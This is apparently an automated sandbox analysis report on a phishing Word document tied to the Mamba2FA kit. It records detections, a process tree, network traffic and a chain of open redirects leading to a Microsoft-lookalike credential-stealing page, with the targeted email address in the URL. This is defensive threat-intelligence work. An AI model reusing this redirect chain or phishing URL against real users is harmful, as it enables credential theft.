Edit tour

Windows Analysis Report
Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx

Overview

General Information

Sample name:	Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx
Analysis ID:	1537439
MD5:	facf35961fd48f097a1fe8592ba8f88f
SHA1:	90e3dccbff5630f6db79ac3796ae50e7e2701d22
SHA256:	5d32c619ae06a79c3432d183b91f85f8080d9f5ce84ba55b9afef97aa9d573c2
Infos:

Detection

Mamba2FA

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Yara detected Mamba 2FA PaaS

AI detected landing page (webpage, office document or email)

Detected use of open redirect vulnerability

Phishing site detected (based on image similarity)

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

Document contains embedded VBA macros

Document misses a certain OLE stream usually present in this Microsoft Office document type

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML title does not match URL

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Invalid 'forgot password' link found

Invalid T&C link found

JA3 SSL client fingerprint seen in connection with other malware

Sigma detected: Suspicious Office Outbound Connections

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64

WINWORD.EXE (PID: 7932 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)

chrome.exe (PID: 1696 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.top50-solar.de/newsclick.php?id=136149&link=https://coupons.digidip.net/visit?url=Https://hr.queenmobile.net/l.php?url=https%3A%2F%2Fsaloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N&partner=17&merchant_id=169269&country_id=83#MICHELLES@AGEECONSTRUCTION.COM MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 2180 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1988,i,12392792373501057144,10114819878945905559,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Malware Configuration

Threatname: Mamba2FA

{"sv": "o365_1_one", "rand": "NDN6bXA=", "uid": "USER27092024U07092722"}

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.0.pages.csv	JoeSecurity_Mamba2FA	Yara detected Mamba 2FA PaaS	Joe Security

Sigma Signatures

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 1.1.1.1, DestinationIsIpv6: false, DestinationPort: 53, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, Initiated: true, ProcessId: 7932, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49841

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ProcessId: 7932, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Suricata Signatures

ET PHISHING Javascript Browser Fingerprinting POST Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-19T00:14:26.400237+0200	2056643	2	Possible Social Engineering Attempted	192.168.2.10	49992	203.170.84.122	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N#MICHELLES@AGEECONSTRUCTION.COM

SlashNext: Label: Credential Stealing type: Phishing & Social Engineering

Found malware configuration

Source: 1.0.pages.csv

Malware Configuration Extractor: Mamba2FA {"sv": "o365_1_one", "rand": "NDN6bXA=", "uid": "USER27092024U07092722"}

Phishing

Yara detected Mamba 2FA PaaS

Source: Yara match

File source: 1.0.pages.csv, type: HTML

Detected use of open redirect vulnerability

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Proxy from: coupons.digidip.net/visit?url=https://hr.queenmobile.net/l.php?url=https://saloneliteco.com/n/?c3y9bzm2nv8xx29uzszyyw5kpu5etjziwee9jnvpzd1vu0vsmjcwotiwmjrvmdcwoti3mji=n0123n to https://hr.queenmobile.net/l.php?url=https://saloneliteco.com/n/?c3y9bzm2nv8xx29uzszyyw5kpu5etjziwee9jnvpzd1vu0vsmjcwotiwmjrvmdcwoti3mji=n0123n

Phishing site detected (based on image similarity)

Source: https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N#MICHELLES@AGEECONSTRUCTION.COM

Matcher: Found strong image similarity, brand: MICROSOFT

Source: https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N#MICHELLES@AGEECONSTRUCTION.COM

HTTP Parser: Number of links: 0

Source: https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N#MICHELLES@AGEECONSTRUCTION.COM

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N#MICHELLES@AGEECONSTRUCTION.COM

HTTP Parser: Total embedded image size: 46409

Source: https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N#MICHELLES@AGEECONSTRUCTION.COM

HTTP Parser: Title: Authenticating ... does not match URL

Source: https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N#MICHELLES@AGEECONSTRUCTION.COM

HTTP Parser: Invalid link: Forgot password?

Source: https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N#MICHELLES@AGEECONSTRUCTION.COM

HTTP Parser: Invalid link: Sites help you work on projects with your team and share information from anywhere on any device. Create or follow sites to see them here.

Source: https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N#MICHELLES@AGEECONSTRUCTION.COM

HTTP Parser: <input type="password" .../> found

Source: https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N#MICHELLES@AGEECONSTRUCTION.COM

HTTP Parser: No favicon

Source: https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N#MICHELLES@AGEECONSTRUCTION.COM

HTTP Parser: No <meta name="author".. found

Source: https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N#MICHELLES@AGEECONSTRUCTION.COM

HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.10:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.14:443 -> 192.168.2.10:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.10:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.14:443 -> 192.168.2.10:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.10:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.10:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.162.55:443 -> 192.168.2.10:50082 version: TLS 1.2

Source: winword.exe

Memory has grown: Private usage: 1MB later: 82MB

Source: global traffic

TCP traffic: 192.168.2.10:50055 -> 1.1.1.1:53

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: coupons.digidip.net to https://hr.queenmobile.net/l.php?url=https://saloneliteco.com/n/?c3y9bzm2nv8xx29uzszyyw5kpu5etjziwee9jnvpzd1vu0vsmjcwotiwmjrvmdcwoti3mji=n0123n

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 13.107.246.44 13.107.246.44
Source: Joe Sandbox View	IP Address: 18.245.31.33 18.245.31.33

Source: Joe Sandbox View

ASN Name: DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic

Suricata IDS: 2056643 - Severity 2 - ET PHISHING Javascript Browser Fingerprinting POST Request : 192.168.2.10:49992 -> 203.170.84.122:443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
